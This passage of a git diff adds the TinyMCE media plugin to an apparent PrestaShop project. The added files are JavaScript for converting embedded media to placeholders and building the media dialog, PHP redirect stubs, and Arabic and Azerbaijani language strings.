embed.attr(name, data.params[name]); + + tinymce.each(rootAttributes, function(name) { + if (data[name] && name != 'type') + embed.attr(name, data[name]); + }); + + object.append(embed); + } + + // Insert raw HTML + if (data.object_html) { + value = new Node('#text', 3); + value.raw = true; + value.value = data.object_html; + object.append(value); + } + + // Append object to video element if it exists + if (video) + video.append(object); + } + + if (video) { + // Insert raw HTML + if (data.video_html) { + value = new Node('#text', 3); + value.raw = true; + value.value = data.video_html; + video.append(value); + } + } + + if (audio) { + // Insert raw HTML + if (data.video_html) { + value = new Node('#text', 3); + value.raw = true; + value.value = data.video_html; + audio.append(value); + } + } + + var n = video || audio || object || embed; + if (n) + node.replace(n); + else + node.remove(); + }, + + /** + * Converts a tinymce.html.Node video/object/embed to an img element. + * + * The video/object/embed will be converted into an image placeholder with a JSON data attribute like this: + * + * + * The JSON structure will be like this: + * {'params':{'flashvars':'something','quality':'high','src':'someurl'}, 'video':{'sources':[{src: 'someurl', type: 'video/mp4'}]}} + */ + objectToImg : function(node) { + var object, embed, video, iframe, img, name, id, width, height, style, i, html, + param, params, source, sources, data, type, lookup = this.lookup, + matches, attrs, urlConverter = this.editor.settings.url_converter, + urlConverterScope = this.editor.settings.url_converter_scope, + hspace, vspace, align, bgcolor; + + function getInnerHTML(node) { + return new tinymce.html.Serializer({ + inner: true, + validate: false + }).serialize(node); + }; + + function lookupAttribute(o, attr) { + return lookup[(o.attr(attr) || '').toLowerCase()]; + } + + function lookupExtension(src) { + var ext = src.replace(/^.*\.([^.]+)$/, '$1'); + return lookup[ext.toLowerCase() || '']; + } + + // If node isn't in document + if (!node.parent) + return; + + // Handle media scripts + if (node.name === 'script') { + if (node.firstChild) + matches = scriptRegExp.exec(node.firstChild.value); + + if (!matches) + return; + + type = matches[1]; + data = {video : {}, params : JSON.parse(matches[2])}; + width = data.params.width; + height = data.params.height; + } + + // Setup data objects + data = data || { + video : {}, + params : {} + }; + + // Setup new image object + img = new Node('img', 1); + img.attr({ + src : this.editor.theme.url + '/img/trans.gif' + }); + + // Video element + name = node.name; + if (name === 'video' || name == 'audio') { + video = node; + object = node.getAll('object')[0]; + embed = node.getAll('embed')[0]; + width = video.attr('width'); + height = video.attr('height'); + id = video.attr('id'); + data.video = {attrs : {}, sources : []}; + + // Get all video attributes + attrs = data.video.attrs; + for (name in video.attributes.map) + attrs[name] = video.attributes.map[name]; + + source = node.attr('src'); + if (source) + data.video.sources.push({src : urlConverter.call(urlConverterScope, source, 'src', node.name)}); + + // Get all sources + sources = video.getAll("source"); + for (i = 0; i < sources.length; i++) { + source = sources[i].remove(); + + data.video.sources.push({ + src: urlConverter.call(urlConverterScope, source.attr('src'), 'src', 'source'), + type: source.attr('type'), + media: source.attr('media') + }); + } + + // Convert the poster URL + if (attrs.poster) + attrs.poster = urlConverter.call(urlConverterScope, attrs.poster, 'poster', node.name); + } + + // Object element + if (node.name === 'object') { + object = node; + embed = node.getAll('embed')[0]; + } + + // Embed element + if (node.name === 'embed') + embed = node; + + // Iframe element + if (node.name === 'iframe') { + iframe = node; + type = 'Iframe'; + } + + if (object) { + // Get width/height + width = width || object.attr('width'); + height = height || object.attr('height'); + style = style || object.attr('style'); + id = id || object.attr('id'); + hspace = hspace || object.attr('hspace'); + vspace = vspace || object.attr('vspace'); + align = align || object.attr('align'); + bgcolor = bgcolor || object.attr('bgcolor'); + data.name = object.attr('name'); + + // Get all object params + params = object.getAll("param"); + for (i = 0; i < params.length; i++) { + param = params[i]; + name = param.remove().attr('name'); + + if (!excludedAttrs[name]) + data.params[name] = param.attr('value'); + } + + data.params.src = data.params.src || object.attr('data'); + } + + if (embed) { + // Get width/height + width = width || embed.attr('width'); + height = height || embed.attr('height'); + style = style || embed.attr('style'); + id = id || embed.attr('id'); + hspace = hspace || embed.attr('hspace'); + vspace = vspace || embed.attr('vspace'); + align = align || embed.attr('align'); + bgcolor = bgcolor || embed.attr('bgcolor'); + + // Get all embed attributes + for (name in embed.attributes.map) { + if (!excludedAttrs[name] && !data.params[name]) + data.params[name] = embed.attributes.map[name]; + } + } + + if (iframe) { + // Get width/height + width = iframe.attr('width'); + height = iframe.attr('height'); + style = style || iframe.attr('style'); + id = iframe.attr('id'); + hspace = iframe.attr('hspace'); + vspace = iframe.attr('vspace'); + align = iframe.attr('align'); + bgcolor = iframe.attr('bgcolor'); + + tinymce.each(rootAttributes, function(name) { + img.attr(name, iframe.attr(name)); + }); + + // Get all iframe attributes + for (name in iframe.attributes.map) { + if (!excludedAttrs[name] && !data.params[name]) + data.params[name] = iframe.attributes.map[name]; + } + } + + // Use src not movie + if (data.params.movie) { + data.params.src = data.params.src || data.params.movie; + delete data.params.movie; + } + + // Convert the URL to relative/absolute depending on configuration + if (data.params.src) + data.params.src = urlConverter.call(urlConverterScope, data.params.src, 'src', 'object'); + + if (video) { + if (node.name === 'video') + type = lookup.video.name; + else if (node.name === 'audio') + type = lookup.audio.name; + } + + if (object && !type) + type = (lookupAttribute(object, 'clsid') || lookupAttribute(object, 'classid') || lookupAttribute(object, 'type') || {}).name; + + if (embed && !type) + type = (lookupAttribute(embed, 'type') || lookupExtension(data.params.src) || {}).name; + + // for embedded audio we preserve the original specified type + if (embed && type == 'EmbeddedAudio') { + data.params.type = embed.attr('type'); + } + + // Replace the video/object/embed element with a placeholder image containing the data + node.replace(img); + + // Remove embed + if (embed) + embed.remove(); + + // Serialize the inner HTML of the object element + if (object) { + html = getInnerHTML(object.remove()); + + if (html) + data.object_html = html; + } + + // Serialize the inner HTML of the video element + if (video) { + html = getInnerHTML(video.remove()); + + if (html) + data.video_html = html; + } + + data.hspace = hspace; + data.vspace = vspace; + data.align = align; + data.bgcolor = bgcolor; + + // Set width/height of placeholder + img.attr({ + id : id, + 'class' : 'mceItemMedia mceItem' + (type || 'Flash'), + style : style, + width : width || (node.name == 'audio' ? "300" : "320"), + height : height || (node.name == 'audio' ? "32" : "240"), + hspace : hspace, + vspace : vspace, + align : align, + bgcolor : bgcolor, + "data-mce-json" : JSON.serialize(data, "'") + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('media', tinymce.plugins.MediaPlugin); +})(); diff --git a/js/tiny_mce/plugins/media/index.php b/js/tiny_mce/plugins/media/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/media/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/media/js/embed.js b/js/tiny_mce/plugins/media/js/embed.js new file mode 100755 index 0000000..6fe25de --- /dev/null +++ b/js/tiny_mce/plugins/media/js/embed.js @@ -0,0 +1,73 @@ +/** + * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. + */ + +function writeFlash(p) { + writeEmbed( + 'D27CDB6E-AE6D-11cf-96B8-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'application/x-shockwave-flash', + p + ); +} + +function writeShockWave(p) { + writeEmbed( + '166B1BCA-3F9C-11CF-8075-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', + 'application/x-director', + p + ); +} + +function writeQuickTime(p) { + writeEmbed( + '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', + 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', + 'video/quicktime', + p + ); +} + +function writeRealMedia(p) { + writeEmbed( + 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'audio/x-pn-realaudio-plugin', + p + ); +} + +function writeWindowsMedia(p) { + p.url = p.src; + writeEmbed( + '6BF52A52-394A-11D3-B153-00C04F79FAA6', + 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', + 'application/x-mplayer2', + p + ); +} + +function writeEmbed(cls, cb, mt, p) { + var h = '', n; + + h += ''; + + h += ' +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/js/media.js b/js/tiny_mce/plugins/media/js/media.js new file mode 100755 index 0000000..43e9ac4 --- /dev/null +++ b/js/tiny_mce/plugins/media/js/media.js @@ -0,0 +1,470 @@ +(function() { + var url; + + if (url = tinyMCEPopup.getParam("media_external_list_url")) + document.write(''); + + function get(id) { + return document.getElementById(id); + } + + function clone(obj) { + var i, len, copy, attr; + + if (null == obj || "object" != typeof obj) + return obj; + + // Handle Array + if ('length' in obj) { + copy = []; + + for (i = 0, len = obj.length; i < len; ++i) { + copy[i] = clone(obj[i]); + } + + return copy; + } + + // Handle Object + copy = {}; + for (attr in obj) { + if (obj.hasOwnProperty(attr)) + copy[attr] = clone(obj[attr]); + } + + return copy; + } + + function getVal(id) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + } + + function setVal(id, value, name) { + if (typeof(value) != 'undefined' && value != null) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") { + if (typeof(value) == 'string') { + value = value.toLowerCase(); + value = (!name && value === 'true') || (name && value === name.toLowerCase()); + } + elm.checked = !!value; + } else + elm.value = value; + } + } + + window.Media = { + init : function() { + var html, editor, self = this; + + self.editor = editor = tinyMCEPopup.editor; + + // Setup file browsers and color pickers + get('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media'); + get('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','quicktime_qtsrc','media','media'); + get('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + get('video_altsource1_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource1','video_altsource1','media','media'); + get('video_altsource2_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource2','video_altsource2','media','media'); + get('audio_altsource1_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource1','audio_altsource1','media','media'); + get('audio_altsource2_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource2','audio_altsource2','media','media'); + get('video_poster_filebrowser').innerHTML = getBrowserHTML('filebrowser_poster','video_poster','media','image'); + + html = self.getMediaListHTML('medialist', 'src', 'media', 'media'); + if (html == "") + get("linklistrow").style.display = 'none'; + else + get("linklistcontainer").innerHTML = html; + + if (isVisible('filebrowser')) + get('src').style.width = '230px'; + + if (isVisible('video_filebrowser_altsource1')) + get('video_altsource1').style.width = '220px'; + + if (isVisible('video_filebrowser_altsource2')) + get('video_altsource2').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource1')) + get('audio_altsource1').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource2')) + get('audio_altsource2').style.width = '220px'; + + if (isVisible('filebrowser_poster')) + get('video_poster').style.width = '220px'; + + editor.dom.setOuterHTML(get('media_type'), self.getMediaTypeHTML(editor)); + + self.setDefaultDialogSettings(editor); + self.data = clone(tinyMCEPopup.getWindowArg('data')); + self.dataToForm(); + self.preview(); + + updateColor('bgcolor_pick', 'bgcolor'); + }, + + insert : function() { + var editor = tinyMCEPopup.editor; + + this.formToData(); + editor.execCommand('mceRepaint'); + tinyMCEPopup.restoreSelection(); + editor.selection.setNode(editor.plugins.media.dataToImg(this.data)); + tinyMCEPopup.close(); + }, + + preview : function() { + get('prev').innerHTML = this.editor.plugins.media.dataToHtml(this.data, true); + }, + + moveStates : function(to_form, field) { + var data = this.data, editor = this.editor, + mediaPlugin = editor.plugins.media, ext, src, typeInfo, defaultStates, src; + + defaultStates = { + // QuickTime + quicktime_autoplay : true, + quicktime_controller : true, + + // Flash + flash_play : true, + flash_loop : true, + flash_menu : true, + + // WindowsMedia + windowsmedia_autostart : true, + windowsmedia_enablecontextmenu : true, + windowsmedia_invokeurls : true, + + // RealMedia + realmedia_autogotourl : true, + realmedia_imagestatus : true + }; + + function parseQueryParams(str) { + var out = {}; + + if (str) { + tinymce.each(str.split('&'), function(item) { + var parts = item.split('='); + + out[unescape(parts[0])] = unescape(parts[1]); + }); + } + + return out; + }; + + function setOptions(type, names) { + var i, name, formItemName, value, list; + + if (type == data.type || type == 'global') { + names = tinymce.explode(names); + for (i = 0; i < names.length; i++) { + name = names[i]; + formItemName = type == 'global' ? name : type + '_' + name; + + if (type == 'global') + list = data; + else if (type == 'video' || type == 'audio') { + list = data.video.attrs; + + if (!list && !to_form) + data.video.attrs = list = {}; + } else + list = data.params; + + if (list) { + if (to_form) { + setVal(formItemName, list[name], type == 'video' || type == 'audio' ? name : ''); + } else { + delete list[name]; + + value = getVal(formItemName); + if ((type == 'video' || type == 'audio') && value === true) + value = name; + + if (defaultStates[formItemName]) { + if (value !== defaultStates[formItemName]) { + value = "" + value; + list[name] = value; + } + } else if (value) { + value = "" + value; + list[name] = value; + } + } + } + } + } + } + + if (!to_form) { + data.type = get('media_type').options[get('media_type').selectedIndex].value; + data.width = getVal('width'); + data.height = getVal('height'); + + // Switch type based on extension + src = getVal('src'); + if (field == 'src') { + ext = src.replace(/^.*\.([^.]+)$/, '$1'); + if (typeInfo = mediaPlugin.getType(ext)) + data.type = typeInfo.name.toLowerCase(); + + setVal('media_type', data.type); + } + + if (data.type == "video" || data.type == "audio") { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src: getVal('src')}; + } + } + + // Hide all fieldsets and show the one active + get('video_options').style.display = 'none'; + get('audio_options').style.display = 'none'; + get('flash_options').style.display = 'none'; + get('quicktime_options').style.display = 'none'; + get('shockwave_options').style.display = 'none'; + get('windowsmedia_options').style.display = 'none'; + get('realmedia_options').style.display = 'none'; + get('embeddedaudio_options').style.display = 'none'; + + if (get(data.type + '_options')) + get(data.type + '_options').style.display = 'block'; + + setVal('media_type', data.type); + + setOptions('flash', 'play,loop,menu,swliveconnect,quality,scale,salign,wmode,base,flashvars'); + setOptions('quicktime', 'loop,autoplay,cache,controller,correction,enablejavascript,kioskmode,autohref,playeveryframe,targetcache,scale,starttime,endtime,target,qtsrcchokespeed,volume,qtsrc'); + setOptions('shockwave', 'sound,progress,autostart,swliveconnect,swvolume,swstretchstyle,swstretchhalign,swstretchvalign'); + setOptions('windowsmedia', 'autostart,enabled,enablecontextmenu,fullscreen,invokeurls,mute,stretchtofit,windowlessvideo,balance,baseurl,captioningid,currentmarker,currentposition,defaultframe,playcount,rate,uimode,volume'); + setOptions('realmedia', 'autostart,loop,autogotourl,center,imagestatus,maintainaspect,nojava,prefetch,shuffle,console,controls,numloop,scriptcallbacks'); + setOptions('video', 'poster,autoplay,loop,muted,preload,controls'); + setOptions('audio', 'autoplay,loop,preload,controls'); + setOptions('embeddedaudio', 'autoplay,loop,controls'); + setOptions('global', 'id,name,vspace,hspace,bgcolor,align,width,height'); + + if (to_form) { + if (data.type == 'video') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('video_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('video_altsource2', src.src); + } else if (data.type == 'audio') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('audio_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('audio_altsource2', src.src); + } else { + // Check flash vars + if (data.type == 'flash') { + tinymce.each(editor.getParam('flash_video_player_flashvars', {url : '$url', poster : '$poster'}), function(value, name) { + if (value == '$url') + data.params.src = parseQueryParams(data.params.flashvars)[name] || data.params.src || ''; + }); + } + + setVal('src', data.params.src); + } + } else { + src = getVal("src"); + + // YouTube *NEW* + if (src.match(/youtu.be\/[a-z1-9.-_]+/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/youtu.be\/([a-z1-9.-_]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // YouTube + if (src.match(/youtube.com(.+)v=([^&]+)/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/v=([^&]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // Google video + if (src.match(/video.google.com(.+)docid=([^&]+)/)) { + data.width = 425; + data.height = 326; + data.type = 'flash'; + src = 'http://video.google.com/googleplayer.swf?docId=' + src.match(/docid=([^&]+)/)[1] + '&hl=en'; + setVal('src', src); + setVal('media_type', data.type); + } + + if (data.type == 'video') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("video_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("video_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else if (data.type == 'audio') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("audio_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("audio_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else + data.params.src = src; + + // Set default size + setVal('width', data.width || (data.type == 'audio' ? 300 : 320)); + setVal('height', data.height || (data.type == 'audio' ? 32 : 240)); + } + }, + + dataToForm : function() { + this.moveStates(true); + }, + + formToData : function(field) { + if (field == "width" || field == "height") + this.changeSize(field); + + if (field == 'source') { + this.moveStates(false, field); + setVal('source', this.editor.plugins.media.dataToHtml(this.data)); + this.panel = 'source'; + } else { + if (this.panel == 'source') { + this.data = clone(this.editor.plugins.media.htmlToData(getVal('source'))); + this.dataToForm(); + this.panel = ''; + } + + this.moveStates(false, field); + this.preview(); + } + }, + + beforeResize : function() { + this.width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + this.height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + }, + + changeSize : function(type) { + var width, height, scale, size; + + if (get('constrain').checked) { + width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + + if (type == 'width') { + this.height = Math.round((width / this.width) * height); + setVal('height', this.height); + } else { + this.width = Math.round((height / this.height) * width); + setVal('width', this.width); + } + } + }, + + getMediaListHTML : function() { + if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) { + var html = ""; + + html += ''; + + return html; + } + + return ""; + }, + + getMediaTypeHTML : function(editor) { + function option(media_type, element) { + if (!editor.schema.getElementRule(element || media_type)) { + return ''; + } + + return '' + } + + var html = ""; + + html += ''; + return html; + }, + + setDefaultDialogSettings : function(editor) { + var defaultDialogSettings = editor.getParam("media_dialog_defaults", {}); + tinymce.each(defaultDialogSettings, function(v, k) { + setVal(k, v); + }); + } + }; + + tinyMCEPopup.requireLangPack(); + tinyMCEPopup.onInit.add(function() { + Media.init(); + }); +})(); diff --git a/js/tiny_mce/plugins/media/langs/ar_dlg.js b/js/tiny_mce/plugins/media/langs/ar_dlg.js new file mode 100755 index 0000000..bc74468 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.media_dlg',{list:"\u0642\u0627\u0626\u0645\u0647",file:"\u0645\u0644\u0641/\u0639\u0646\u0648\u0627\u0646URL",advanced:"\u0645\u062a\u0642\u062f\u0645",general:"\u0639\u0627\u0645",title:"\u0627\u0636\u0641/ \u0639\u062f\u0644 \u0641\u0644\u0627\u0634 \u0627\u0648 \u0641\u064a\u062f\u064a\u0648","align_top_left":"\u0627\u0639\u0644\u0649 \u064a\u0633\u0627\u0631","align_center":"\u0648\u0633\u0637","align_left":"\u064a\u0633\u0627\u0631","align_bottom":"\u0627\u0633\u0641\u0644","align_right":"\u064a\u0645\u064a\u0646","align_top":"\u0627\u0644\u0627\u0639\u0644\u0649","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"\u062a\u0642\u062f\u0645",sound:"\u0635\u0648\u062a",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"\u0627\u0639\u0644\u0649 \u064a\u0645\u064a\u0646",uimode:"UI Mode",rate:"\u0645\u0639\u062f\u0644",playcount:"\u0639\u062f\u062f \u0645\u0631\u0627\u062a \u0627\u0644\u0639\u0631\u0636",defaultframe:"\u0627\u0644\u0627\u0637\u0627\u0631 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u0649",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"\u0641\u064a\u062f\u064a\u0648 \u0628\u0644\u0627 \u0627\u0637\u0627\u0631",stretchtofit:"\u0645\u0637\u0647 \u0644\u064a\u0646\u0627\u0633\u0628",mute:"\u0628\u0644\u0627 \u0635\u0648\u062a",invokeurls:"Invoke URLs",fullscreen:"\u0628\u0643\u0627\u0645\u0644 \u0627\u0644\u0634\u0627\u0634\u0647",enabled:"\u0645\u062a\u0627\u062d",autostart:"\u0628\u062f\u0621 \u062a\u0644\u0642\u0627\u0626\u0649",volume:"\u0639\u0644\u0648 \u0627\u0644\u0635\u0648\u062a",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"\u0648\u0642\u062a \u0627\u0644\u0646\u0647\u0627\u064a\u0647",starttime:"\u0648\u0642\u062a \u0627\u0644\u0628\u062f\u0627\u064a\u0647",enablejavascript:"Enable JavaScript",correction:"\u0628\u0644\u0627 \u062a\u0635\u062d\u064a\u062d",targetcache:"Target cache",playeveryframe:"\u0639\u0631\u0636 \u0643\u0644 \u0627\u0644\u0643\u0627\u062f\u0631\u0627\u062a",kioskmode:"Kiosk mode",controller:"Controller",menu:"\u0627\u0638\u0647\u0631 \u0627\u0644\u0642\u0627\u0626\u0645\u0647",loop:"\u062a\u0643\u0631\u0627\u0631",play:"\u062a\u0634\u063a\u064a\u0644 \u062a\u0644\u0642\u0627\u0626\u0649",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"\u0627\u0633\u0645",id:"Id",type:"\u0646\u0648\u0639",size:"\u0627\u0628\u0639\u0627\u062f",preview:"\u0645\u0639\u0627\u064a\u0646\u0647","constrain_proportions":"Constrain proportions",controls:"Controls",numloop:"\u0639\u062f\u062f \u0627\u0644\u062a\u0643\u0631\u0627\u0631\u0627\u062a",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"\u062e\u0644\u0641\u064a\u0647",wmode:"WMode",salign:"SAlign",align:"\u0645\u062d\u0627\u0632\u0627\u0647",scale:"Scale",quality:"\u062c\u0648\u062f\u0647",shuffle:"Shuffle",prefetch:"\u0627\u062d\u0636\u0627\u0631 \u0645\u0633\u0628\u0642",nojava:"\u0644\u0627 \u062c\u0627\u0641\u0627",maintainaspect:"\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0646\u0633\u0628\u0629 \u0627\u0644\u0637\u0648\u0644 \u0644\u0644\u0639\u0631\u0636",imagestatus:"\u062d\u0627\u0644\u0629 \u0627\u0644\u0635\u0648\u0631\u0647",center:"\u0648\u0633\u0637",autogotourl:"\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0630\u0647\u0627\u0628 \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u0649","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"\u062e\u0635\u0627\u0626\u0635 \u0645\u064a\u062f\u064a\u0627 \u0628\u0644\u0627\u064a\u0631","qt_options":"\u062e\u0635\u0627\u0626\u0635 \u0643\u0648\u064a\u0643 \u062a\u0627\u064a\u0645","flash_options":"\u062e\u0635\u0627\u0626\u0635 \u0641\u0644\u0627\u0634",hidden:"\u062e\u0641\u0649","align_bottom_left":"\u0627\u0633\u0641\u0644 \u064a\u0633\u0627\u0631","align_bottom_right":"\u0627\u0633\u0641\u0644 \u064a\u0645\u064a\u0646",flash:"flash",quicktime:"quicktime ","embedded_audio_options":"\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u0648\u062a \u0627\u0644\u0645\u062f\u0645\u062c\u0629",windowsmedia:"windowsmedia ",realmedia:"realmedia ",shockwave:"shockwave",audio:"\u0627\u0644\u0635\u0648\u062a",video:"\u0627\u0644\u0641\u064a\u062f\u064a\u0648","html5_video_options":"\u062e\u0635\u0627\u0626\u0635 \u0641\u064a\u062f\u064a\u0648 HTML5",altsource1:"\u0627\u0644\u0628\u062f\u064a\u0644 \u0627\u0644\u0627\u0648\u0644 \u0644\u0644\u0645\u0635\u062f\u0631",altsource2:"\u0627\u0644\u0628\u062f\u064a\u0644 \u0627\u0644\u062b\u0627\u0646\u0649 \u0644\u0644\u0645\u0635\u062f\u0631",preload:"\u062a\u062d\u0645\u064a\u0644 \u0645\u0633\u0628\u0642",poster:"Poster",source:"\u0645\u0635\u062f\u0631","html5_audio_options":"\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u0648\u062a","preload_none":"\u0644\u0627 \u0627\u0644\u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0645\u0633\u0628\u0642","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",iframe:"iframe ",embeddedaudio:"embedded audio "}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/az_dlg.js b/js/tiny_mce/plugins/media/langs/az_dlg.js new file mode 100755 index 0000000..5fd1f6b --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.media_dlg',{list:"Siyah\u0131",file:"Fayl/\u00fcnvan",advanced:"\u018flav\u0259l\u0259r",general:"\u00dcmumi",title:"Mediya-obyekti \u0259lav\u0259/redakt\u0259 et","align_top_left":"\u00dcst sol","align_center":"M\u0259tk\u0259z","align_left":"Sol","align_bottom":"Alt","align_right":"Sa\u011f","align_top":"\u00dcst","qt_stream_warn":"Haz\u0131rki ax\u0131lan rtsp m\u0259nb\u0259l\u0259ri QT Src sah\u0259sin\u0259 \u0259lav\u0259 edilm\u0259lidir.\nSiz h\u0259m\u00e7inin Src sah\u0259sin\u0259 qeyri-ax\u0131lan versiyan\u0131 da \u0259lav\u0259 etm\u0259lisiniz..",qtsrc:"QT Src",progress:"\u0130l\u0259rl\u0259yi\u015f",sound:"S\u0259s",swstretchvalign:"Uzat D-D\u00fczl\u0259ndir",swstretchhalign:"Uzat Y-D\u00fczl\u0259ndir",swstretchstyle:"Uzatma stili",scriptcallbacks:"Skript \u00e7a\u011f\u0131r\u0131mlar\u0131","align_top_right":"\u00dcst sa\u011f",uimode:"UI \u00dcsulu",rate:"Norma",playcount:"Oynatma say\u0131",defaultframe:"Susmaya g\u00f6r\u0259 \u00e7\u0259r\u00e7iv\u0259",currentposition:"Haz\u0131rki m\u00f6vqe",currentmarker:"Haz\u0131rki marker",captioningid:"Ba\u015fl\u0131qland\u0131rma id",baseurl:"Baza URL",balance:"Balans",windowlessvideo:"P\u0259nc\u0259r\u0259siz vide",stretchtofit:"S\u0131\u011facaq q\u0259d\u0259r \u00f6l\u00e7\u00fcl\u0259ndir",mute:"S\u0259ssiz",invokeurls:"\u00c7a\u011f\u0131r\u0131lacaq URL \u00fcnvanlar",fullscreen:"Tam ekran",enabled:"Yan\u0131l\u0131b",autostart:"Avtomatik ba\u015flat",volume:"S\u0259s",target:"H\u0259d\u0259f",qtsrcchokespeed:"Drossel s\u00fcr\u0259ti",href:"Href",endtime:"Bit\u0259c\u0259k zaman",starttime:"Ba\u015flan\u011f\u0131c zaman",enablejavascript:"JavaScript-i yand\u0131r",correction:"D\u0259yi\u015fiklik yoxdur",targetcache:"H\u0259d\u0259f ke\u015f",playeveryframe:"H\u0259r \u00e7\u0259r\u00e7iv\u0259ni oynat",kioskmode:"Kiosk \u00fcsulu",controller:"\u0130dar\u0259\u00e7i",menu:"Menyunu g\u00f6st\u0259r",loop:"\u0130lm\u0259k",play:"Avtomatik oynat",hspace:"\u00dcf\u00fcqi f\u0259za",vspace:"\u015eaquli f\u0259za","class_name":"Sinif",name:"Ad\u0131",id:"\u0130dentifikator",type:"N\u00f6v",size:"\u00d6\u00e7\u00fcl\u0259ri",preview:"\u0130lkin bax\u0131\u015f","constrain_proportions":"Proporsiyalar\u0131 saxla",controls:"Kontroller",numloop:"R\u0259q\u0259mli 